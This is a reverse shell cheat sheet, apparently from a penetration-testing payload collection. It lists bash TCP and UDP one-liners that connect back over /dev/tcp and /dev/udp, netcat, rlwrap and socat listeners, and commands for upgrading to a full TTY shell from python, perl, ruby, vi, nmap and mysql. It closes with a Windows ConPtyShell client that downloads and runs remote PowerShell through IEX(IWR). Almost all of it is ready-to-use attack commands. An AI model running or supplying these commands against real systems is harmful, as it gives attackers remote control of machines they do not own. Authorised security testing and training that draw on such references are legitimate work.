Reverse Shell Cheat Sheet


Reverse Shell

Bash TCP

bash -i >& /dev/tcp/ 0>&1

0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/ 0<&1 2>&1

Bash UDP

sh -i >& /dev/udp/ 0>&1

nc -u -lvp 4242

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].

rlwrap nc 4242

rlwrap -r -f . nc 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

⚠️ OhMyZSH might break this trick, a simple sh is recommended

The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

echo $TERM && tput lines && tput cols

# for bash
stty raw -echo

# for zsh
stty raw -echo; fg

export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

or use socat binary to get a fully tty reverse shell

socat file:`tty`,raw,echo=0 tcp-listen:12345

Spawn a TTY shell from an interpreter

/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh
  • mysql: ! bash

Alternative TTY method

www-data@debian:/dev/shm$ su - user
su: must be run from a terminal

www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user

Fully interactive reverse shell on Windows

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server Side:

stty raw -echo; (stty size; cat) | nc -lvnp 3001

Client Side:

IEX(IWR -UseBasicParsing); Invoke-ConPtyShell 3001
